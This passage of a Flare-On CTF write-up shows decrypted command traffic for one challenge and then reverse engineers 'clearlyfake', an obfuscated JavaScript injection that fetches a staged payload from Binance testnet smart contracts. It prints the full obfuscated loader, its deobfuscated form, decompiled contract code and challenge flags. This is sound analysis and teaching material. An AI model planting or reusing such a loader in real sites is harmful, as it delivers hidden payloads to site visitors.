cipher = ChaCha20.new(key=secret.digest()[:32], nonce=secret.digest()[32:40])
print(cipher.encrypt(b"verify\x00"))
print(cipher.encrypt(b"\x3f\xbd\x43\xda\x3e\xe3\x25"))
print(cipher.encrypt(b"\x86\xdf\xd7"))
print(cipher.encrypt(b"\xc5\x0c\xea\x1c\x4a\xa0\x64\xc3\x5a\x7f\x6e\x3a\xb0\x25\x84\x41\xac\x15\x85\xc3\x62\x56\xde\xa8\x3c\xac\x93\x00\x7a\x0c\x3a\x29\x86\x4f\x8e\x28\x5f\xfa\x79\xc8\xeb\x43\x97\x6d\x5b\x58\x7f\x8f\x35\xe6\x99\x54\x71\x16"))
print(cipher.encrypt(b"\xfc\xb1\xd2\xcd\xbb\xa9\x79\xc9\x89\x99\x8c"))
print(cipher.encrypt(b"\x61\x49\x0b"))
print(cipher.encrypt(b"\xce\x39\xda"))
print(cipher.encrypt(b"\x57\x70\x11\xe0\xd7\x6e\xc8\xeb\x0b\x82\x59\x33\x1d\xef\x13\xee\x6d\x86\x72\x3e\xac\x9f\x04\x28\x92\x4e\xe7\xf8\x41\x1d\x4c\x70\x1b\x4d\x9e\x2b\x37\x93\xf6\x11\x7d\xd3\x0d\xac\xba"))
print(cipher.encrypt(b"\x2c\xae\x60\x0b\x5f\x32\xce\xa1\x93\xe0\xde\x63\xd7\x09\x83\x8b\xd6"))
print(cipher.encrypt(b"\xa7\xfd\x35"))
print(cipher.encrypt(b"\xed\xf0\xfc"))
print(cipher.encrypt(b"\x80\x2b\x15\x18\x6c\x7a\x1b\x1a\x47\x5d\xaf\x94\xae\x40\xf6\xbb\x81\xaf\xce\xdc\x4a\xfb\x15\x8a\x51\x28\xc2\x8c\x91\xcd\x7a\x88\x57\xd1\x2a\x66\x1a\xca\xec"))
print(cipher.encrypt(b"\xae\xc8\xd2\x7a\x7c\xf2\x6a\x17\x27\x36\x85"))
print(cipher.encrypt(b"\x35\xa4\x4e"))
print(cipher.encrypt(b"\x2f\x39\x17"))
print(cipher.encrypt(b"\xed\x09\x44\x7d\xed\x79\x72\x19\xc9\x66\xef\x3d\xd5\x70\x5a\x3c\x32\xbd\xb1\x71\x0a\xe3\xb8\x7f\xe6\x66\x69\xe0\xb4\x64\x6f\xc4\x16\xc3\x99\xc3\xa4\xfe\x1e\xdc\x0a\x3e\xc5\x82\x7b\x84\xdb\x5a\x79\xb8\x16\x34\xe7\xc3\xaf\xe5\x28\xa4\xda\x15\x45\x7b\x63\x78\x15\x37\x3d\x4e\xdc\xac\x21\x59\xd0\x56"))
print(cipher.encrypt(b"\xf5\x98\x1f\x71\xc7\xea\x1b\x5d\x8b\x1e\x5f\x06\xfc\x83\xb1\xde\xf3\x8c\x6f\x4e\x69\x4e\x37\x06\x41\x2e\xab\xf5\x4e\x3b\x6f\x4d\x19\xe8\xef\x46\xb0\x4e\x39\x9f\x2c\x8e\xce\x84\x17\xfa"))
print(cipher.encrypt(b"\x40\x08\xbc"))
print(cipher.encrypt(b"\x54\xe4\x1e"))
print(cipher.encrypt(b"\xf7\x01\xfe\xe7\x4e\x80\xe8\xdf\xb5\x4b\x48\x7f\x9b\x2e\x3a\x27\x7f\xa2\x89\xcf\x6c\xb8\xdf\x98\x6c\xdd\x38\x7e\x34\x2a\xc9\xf5\x28\x6d\xa1\x1c\xa2\x78\x40\x84"))
print(cipher.encrypt(b"\x5c\xa6\x8d\x13\x94\xbe\x2a\x4d\x3d\x4d\x7c\x82\xe5"))
print(cipher.encrypt(b"\x31\xb6\xda\xc6\x2e\xf1\xad\x8d\xc1\xf6\x0b\x79\x26\x5e\xd0\xde\xaa\x31\xdd\xd2\xd5\x3a\xa9\xfd\x93\x43\x46\x38\x10\xf3\xe2\x23\x24\x06\x36\x6b\x48\x41\x53\x33\xd4\xb8\xac\x33\x6d\x40\x86\xef\xa0\xf1\x5e\x6e\x59"))
Running this prints the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
b'\xf2r\xd5L1\x86\x0f'
b'verify\x00'
b'ls\x00'
b'=== dirs ===\r\nsecrets\r\n=== files ===\r\nfullspeed.exe\r\n\x00'
b'cd|secrets\x00'
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\nsuper secrets\r\n=== files ===\r\n\x00'
b'cd|super secrets\x00'
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\n.hidden\r\n=== files ===\r\n\x00'
b'cd|.hidden\x00'
b'ok\x00'
b'ls\x00'
b"=== dirs ===\r\nwait, dot folders aren't hidden on windows\r\n=== files ===\r\n\x00"
b"cd|wait, dot folders aren't hidden on windows\x00"
b'ok\x00'
b'ls\x00'
b'=== dirs ===\r\n=== files ===\r\nflag.txt\r\n\x00'
b'cat|flag.txt\x00'
b'RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==\x00'
Base64-decoding the last line gives us the flag:
1
D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
This challenge was my favorite one in the CTF, and also the one I spent the most time on (it took me about a week). I’ve never reversed an AOT binary before, so it took me some time to understand the general workflow and the “style” of the code. For example, I only understood that there was a global state when I was close to the end of the challenge. Getting the private key after I got the parameters also took me a lot of time, but it taught me a lot about Elliptic Curves, and crypto in general. The whole thing with the order reduction, for example, was new to me. I was very happy after solving this challenge :)
Challenge 8 - clearlyfake
Description:
1
I am also considering a career change myself but this beautifully broken JavaScript was injected on my WordPress site I use to sell my hand-made artisanal macaroni necklaces, not sure what's going on but there's something about it being a Clear Fake? Not that I'm Smart enough to know how to use it or anything but is it a Contract?
In this challenge, we are provided an obfuscated JS file clearlyfake.js
. The challenge’s description hints towards the file being injected on WordPress site.
1
var _0xc47daa=_0x55cb;function _0x5070(){var _0x33157a=['55206WoVBei','17471OZVAdR','62fJMBmo','replace','120QkxHIP','1147230VPiwgB','toString','614324JhgXcW','3dPcEIu','120329NucVSe','split','fromCharCode','2252288wlgQHe','const|web3||eth|fs|inputString|filePath|abi||targetAddress|contractAddress|error|string|data|decodedData|to|methodId|call|newEncodedData|callContractFunction|require|Web3|await||encodedData|largeString|result|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|toString|function|writeFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|try|0x5684cff5|new|BINANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|async|0x5c880fcb|calling|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt','10lbdBwM','0\x20l=k(\x221\x22);0\x204=k(\x224\x22);0\x201=L\x20l(\x22M\x22);0\x20a=\x22O\x22;P\x20y\x20j(5){J{0\x20g=\x22K\x22;0\x20o=g+1.3.7.u([\x22c\x22],[5]).v(2);0\x20q=m\x201.3.h({f:a,d:o});0\x20p=1.3.7.s(\x22c\x22,q);0\x209=E.D(p,\x22B\x22).x(\x22C-8\x22);0\x206=\x22X.Y\x22;4.z(6,\x22$t\x20=\x20\x22+9+\x22\x5cn\x22);0\x20r=\x22Q\x22;0\x20w=W;0\x20i=r+1.3.7.u([\x22t\x22],[9]).v(2);0\x20A=m\x201.3.h({f:a,d:i},w);0\x20e=1.3.7.s(\x22c\x22,A);0\x20S=E.D(e,\x22B\x22).x(\x22C-8\x22);4.z(6,e);F.V(`U\x20N\x20d\x20f:${6}`)}H(b){F.b(\x22G\x20R\x20I\x20y:\x22,b)}}0\x205=\x22T\x22;j(5);','3417255SrBbNs'];_0x5070=function(){return _0x33157a;};return _0x5070();}function _0x55cb(_0x31be23,_0x3ce6b4){var _0x5070af=_0x5070();return _0x55cb=function(_0x55cbe9,_0x551b8f){_0x55cbe9=_0x55cbe9-0xd6;var _0x408505=_0x5070af[_0x55cbe9];return _0x408505;},_0x55cb(_0x31be23,_0x3ce6b4);}(function(_0x56d78,_0x256379){var _0x5f2a66=_0x55cb,_0x16532b=_0x56d78();while(!![]){try{var _0x5549b8=parseInt(_0x5f2a66(0xe1))/0x1*(parseInt(_0x5f2a66(0xe2))/0x2)+-parseInt(_0x5f2a66(0xd7))/0x3*(parseInt(_0x5f2a66(0xd6))/0x4)+parseInt(_0x5f2a66(0xdd))/0x5*(parseInt(_0x5f2a66(0xe0))/0x6)+parseInt(_0x5f2a66(0xe5))/0x7+parseInt(_0x5f2a66(0xdb))/0x8+-parseInt(_0x5f2a66(0xdf))/0x9+-parseInt(_0x5f2a66(0xe4))/0xa*(parseInt(_0x5f2a66(0xd8))/0xb);if(_0x5549b8===_0x256379)break;else _0x16532b['push'](_0x16532b['shift']());}catch(_0x1147b3){_0x16532b['push'](_0x16532b['shift']());}}}(_0x5070,0x53395),eval(function(_0x263ea1,_0x2e472c,_0x557543,_0x36d382,_0x28c14a,_0x39d737){var _0x458d9a=_0x55cb;_0x28c14a=function(_0x3fad89){var _0x5cfda7=_0x55cb;return(_0x3fad89<_0x2e472c?'':_0x28c14a(parseInt(_0x3fad89/_0x2e472c)))+((_0x3fad89=_0x3fad89%_0x2e472c)>0x23?String[_0x5cfda7(0xda)](_0x3fad89+0x1d):_0x3fad89[_0x5cfda7(0xe6)](0x24));};if(!''['replace'](/^/,String)){while(_0x557543--){_0x39d737[_0x28c14a(_0x557543)]=_0x36d382[_0x557543]||_0x28c14a(_0x557543);}_0x36d382=[function(_0x12d7e8){return _0x39d737[_0x12d7e8];}],_0x28c14a=function(){return'\x5cw+';},_0x557543=0x1;};while(_0x557543--){_0x36d382[_0x557543]&&(_0x263ea1=_0x263ea1[_0x458d9a(0xe3)](new RegExp('\x5cb'+_0x28c14a(_0x557543)+'\x5cb','g'),_0x36d382[_0x557543]));}return _0x263ea1;}(_0xc47daa(0xde),0x3d,0x3d,_0xc47daa(0xdc)[_0xc47daa(0xd9)]('|'),0x0,{})));
Something that immediately pops out is the eval
call, which is quite common in JS obfuscation:
1
eval(function(_0x263ea1,_0x2e472c,_0x557543,_0x36d382,_0x28c14a,_0x39d737){var _0x458d9a=_0x55cb;_0x28c14a=function(_0x3fad89){var _0x5cfda7=_0x55cb;return(_0x3fad89<_0x2e472c?'':_0x28c14a(parseInt(_0x3fad89/_0x2e472c)))+((_0x3fad89=_0x3fad89%_0x2e472c)>0x23?String[_0x5cfda7(0xda)](_0x3fad89+0x1d):_0x3fad89[_0x5cfda7(0xe6)](0x24));};if(!''['replace'](/^/,String)){while(_0x557543--){_0x39d737[_0x28c14a(_0x557543)]=_0x36d382[_0x557543]||_0x28c14a(_0x557543);}_0x36d382=[function(_0x12d7e8){return _0x39d737[_0x12d7e8];}],_0x28c14a=function(){return'\x5cw+';},_0x557543=0x1;};while(_0x557543--){_0x36d382[_0x557543]&&(_0x263ea1=_0x263ea1[_0x458d9a(0xe3)](new RegExp('\x5cb'+_0x28c14a(_0x557543)+'\x5cb','g'),_0x36d382[_0x557543]));}return _0x263ea1;}(_0xc47daa(0xde),0x3d,0x3d,_0xc47daa(0xdc)[_0xc47daa(0xd9)]('|'),0x0,{})));
For the unfamiliar, eval
executes a string as JS code. We can replace eval
with console.log
to see what code will be executed:
1
2
(.venv) > node clearlyfake_no_eval.js
const Web3=require("web3");const fs=require("fs");const web3=new Web3("BINANCE_TESTNET_RPC_URL");const contractAddress="0x9223f0630c598a200f99c5d4746531d10319a569";async function callContractFunction(inputString){try{const methodId="0x5684cff5";const encodedData=methodId+web3.eth.abi.encodeParameters(["string"],[inputString]).slice(2);const result=await web3.eth.call({to:contractAddress,data:encodedData});const largeString=web3.eth.abi.decodeParameter("string",result);const targetAddress=Buffer.from(largeString,"base64").toString("utf-8");const filePath="decoded_output.txt";fs.writeFileSync(filePath,"$address = "+targetAddress+"\n");const new_methodId="0x5c880fcb";const blockNumber=43152014;const newEncodedData=new_methodId+web3.eth.abi.encodeParameters(["address"],[targetAddress]).slice(2);const newData=await web3.eth.call({to:contractAddress,data:newEncodedData},blockNumber);const decodedData=web3.eth.abi.decodeParameter("string",newData);const base64DecodedData=Buffer.from(decodedData,"base64").toString("utf-8");fs.writeFileSync(filePath,decodedData);console.log(`Saved decoded data to:${filePath}`)}catch(error){console.error("Error calling contract function:",error)}}const inputString="KEY_CHECK_VALUE";callContractFunction(inputString);
This looks much more clear(lyfake), but it’s still hard to read since all the code is in one line. We can use an online tool like beautifier.io to beautify the JS, getting this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
Great! Now we can understand what the JS does. The first line indicates that the JS is using web3-related functionality. This challenge was my first time doing Web3 stuff, so this was all pretty new to me, but the Web3 concepts used in this challenge are not super complicated. The code defines two constants:
web3
- an instance of aWeb3
object constructed on the Binance testnetcontractAddress
, which is the address of a smart contract on said testnet Binance is a kind of cryptocurrency, like Bitcoin or Ethereum. Most cryptocurrencies have two blockchains: a Mainnet, and a Testnet. The Mainnet is the “real” blockchain, on which users can send transactions to each other with real cryptocurrency. The Testnet, like its name suggests, is a blockchain for testing. The Testnet allows developers to test programs and contracts related to the cryptocurrency. To get cryptocurrency in the Testnet, we use Faucets, which provide crypto to a wallet upon request. In the mainnet, of course, there are no faucets, since they would render the cryptocurrency useless. Smart Contracts are like programs that can be run on the Blockchain. They automatically execute actions when some predefined conditions are met, like contracts in the real world. The most popular language for writing smart contracts, and also the one used in Binance, is called Solidity. Getting back to the JS code, it calls an async functioncallContractFunction
with an input string set toKEY_CHECK_VALUE
. InsidecallContractFunction
, we can see an interaction with the predefined contract address:
1
2
3
4
5
6
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
Contracts are interacted with by calling them. Like functions in other programming languages, we can pass parameters in the call, namely in the data parameter to the call. In our case the data is constructed by concatenating a constant method ID, 0x5684cff5
, with the input string. We can hypothesize that the contract has many methods, and that it selects a method based on the method ID sent in the data. Solidity functions can also return data; in our case, this data is written into a file decoded_output.txt
:
1
2
3
4
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
The decoded string returned by the contract is base64-decoded, and then written into the file decoded_output.txt
. Based on the variable names, we can assume that the data returned by this contract is another address, whether of another smart contract, or of a wallet. After this, the code calls another method in the same smart contract that was called earlier:
1
2
3
4
5
6
7
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
The targetAddress
that was returned by the first call is passed as a parameter to this method. Note that in this call, we also pass a constant blockNumber
. New blocks are added to the blockchain all the time, so data returned by a smart contract at one point in time is not necessarily the same as in another point in time. Passing in the block number makes us query the contract at a specific historical block number in the blockchain. The (base64-decoded) data returned by this function call is saved to the same file, and the function exits. We understand the general flow of the code now, but we still don’t know what it is exactly that these contracts do! To address this problem, we’ll have to reverse engineer the contract. Ethereum (and Binance, which is built on Ethereum) contracts are compiled into EVM (Ethereum Virtual Machine) bytecode. The EVM is a decentralized stack-based virtual machine. To see the EVM instructions for the smart contract, we can go into the Binance Testnet blockchain explorer, and search for the contract address: 0x9223f0630c598a200f99c5d4746531d10319a569
. This lets us see some information about the contract, such as the transactions it sent and received:
Going into the Contract tab, we see the bytecode of the contract:
We can use online tools, such as Dedaub (I tried several but this one worked best), to decompile this bytecode back into Solidity code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// Decompiled by library.dedaub.com
// 2024.08.29 21:32 UTC
// Compiled using the solidity compiler version 0.8.26
function function_selector() public payable {
revert();
}
function testStr(string str) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(str <= uint64.max);
require(4 + str + 31 < 4 + (msg.data.length - 4));
require(str.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](str.length);
require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(str.data + str.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, str.data, str.length);
v0[str.length] = 0;
if (v0.length == 17) {
require(0 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v1 = v0.data;
if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
require(2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[2] >> 248 << 248) == 0x5600000000000000000000000000000000000000000000000000000000000000) {
require(3 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[3] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(4 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[4] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(5 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[5] >> 248 << 248) == 0x4d00000000000000000000000000000000000000000000000000000000000000) {
require(6 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[6] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(7 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[7] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(8 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[8] >> 248 << 248) == 0x7000000000000000000000000000000000000000000000000000000000000000) {
require(9 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[9] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(10 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[10] >> 248 << 248) == 0x7900000000000000000000000000000000000000000000000000000000000000) {
require(11 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[11] >> 248 << 248) == 0x4c00000000000000000000000000000000000000000000000000000000000000) {
require(12 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[12] >> 248 << 248) == 0x3000000000000000000000000000000000000000000000000000000000000000) {
require(13 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[13] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(14 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[14] >> 248 << 248) == 0x6400000000000000000000000000000000000000000000000000000000000000) {
require(15 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[15] >> 248 << 248) == 0x2100000000000000000000000000000000000000000000000000000000000000) {
v2 = v3.data;
v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
if (v3.length < 20) {
v4 = v5 = bytes20(v4);
}
v6 = v7 = v4 >> 96;
} else {
v6 = v8 = 0;
}
} else {
v6 = v9 = 0xce89026407fb4736190e26dcfd5aa10f03d90b5c;
}
} else {
v6 = v10 = 0x506dffbcdaf9fe309e2177b21ef999ef3b59ec5e;
}
} else {
v6 = v11 = 0x26b1822a8f013274213054a428bdbb6eba267eb9;
}
} else {
v6 = v12 = 0xf7fc7a6579afa75832b34abbcf35cb0793fce8cc;
}
} else {
v6 = v13 = 0x83c2cbf5454841000f7e43ab07a1b8dc46f1cec3;
}
} else {
v6 = v14 = 0x632fb8ee1953f179f2abd8b54bd31a0060fdca7e;
}
} else {
v6 = v15 = 0x3bd70e10d71c6e882e3c1809d26a310d793646eb;
}
} else {
v6 = v16 = 0xe2e3dd883af48600b875522c859fdd92cd8b4f54;
}
} else {
v6 = v17 = 0x4b9e3b307f05fe6f5796919a3ea548e85b96a8fe;
}
} else {
v6 = v18 = 0x6371b88cc8288527bc9dab7ec68671f69f0e0862;
}
} else {
v6 = v19 = 0x53fbb505c39c6d8eeb3db3ac3e73c073cd9876f8;
}
} else {
v6 = v20 = 0x84abec6eb54b659a802effc697cdc07b414acc4a;
}
} else {
v6 = v21 = 0x87b6cf4edf2d0e57d6f64d39ca2c07202ab7404c;
}
} else {
v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
}
} else {
v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
}
} else {
v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
}
MEM[MEM[64]] = address(v6);
return address(v6);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function function_selector( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5684cff5 == function_selector >> 224) {
testStr(string);
}
}
fallback();
}
It might look a bit scary, but there’s not much to it: just a lot of nested if’s. Like we’d guessed earlier, there’s a function selector that, based on the first 4 bytes (function_selector >> 224
) of the data, picks a function to call. There’s only one other function: testStr
, which receives a string (presumably the one concatenated to the method id after the call) as a parameter. The testStr
function compares each byte of the input string to a constant list of bytes, and, based on how many of the comparisons returned true, returns a different address. For example, to pass the following two checks:
1
2
3
if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
The first byte of the string needs to be 0x67 (‘g’) and the second byte needs to be 0x69 (‘i’). Presumably we need to pass all the checks to get the correct result. Putting all the characters from the conditions together, we get that the string should spell “giV3_M3_p4yL04d!”, and then one extra character at the end since the length of the string needs to be 17, as per this condition:
1
if (v0.length == 17) {
Instead of passing this string to the contract, we can just look at what happens if all the conditions are passed:
1
2
3
4
5
6
v2 = v3.data;
v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
if (v3.length < 20) {
v4 = v5 = bytes20(v4);
}
v6 = v7 = v4 >> 96;
At the end of the function, the following code is executed:
1
2
MEM[MEM[64]] = address(v6);
return address(v6);
If so, the correct address is v4 >> 96
, or 0x5324eab94b236d4d1456edc574363b113cebf09d
. Looking up this address in the Binance Testnet yields the following result. Recall that after the first call to the contract we’ve just reverse engineered, the JS code does the following call:
1
2
3
4
5
6
7
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
The variable contractAddress
holds the address of the first contract, which is quite strange, since according to the decompilation it doesn’t have a method with id 0x5c880fcb (we can see this in the function selector). If so, the contract that should be called is the second one, i.e. 0x5324eab94b236d4d1456edc574363b113cebf09d. I don’t know if this was intended or is a mistake :) Our next step, therefore, is to reverse the new contract. We can get the EVM bytecode in the same way as before. Decompiling it with Dedaub presents us with the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
// Decompiled by library.dedaub.com
// 2024.09.28 13:35 UTC
// Compiled using the solidity compiler version 0.8.26
// Data structures and variables inferred from the use of storage instructions
//uint256[] array_0; constant // STORAGE[0x0]
// https://testnet.bscscan.com/address/0x5324eab94b236d4d1456edc574363b113cebf09d
function func_0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65));
v0 = func_0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function func_0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function func_0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function func_0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65));
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65));
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
func_0x14a(v0);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__() private {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == msg.data[0] >> 224) {
func_0x5c880fcb();
} else if (0x8da5cb5b == msg.data[0] >> 224) {
owner();
} else if (0x916ed24b == msg.data[0] >> 224) {
func_0x916ed24b();
}
}
fallback();
}
Unlike the previous one, this contract supports 3 different functions: func_0x5c880fcb
(this is the method that is called in the JS code), owner
(returns the owner of the contract), and func_0x916ed24b()
. Let’s start with the function called by the JS code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function func_0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
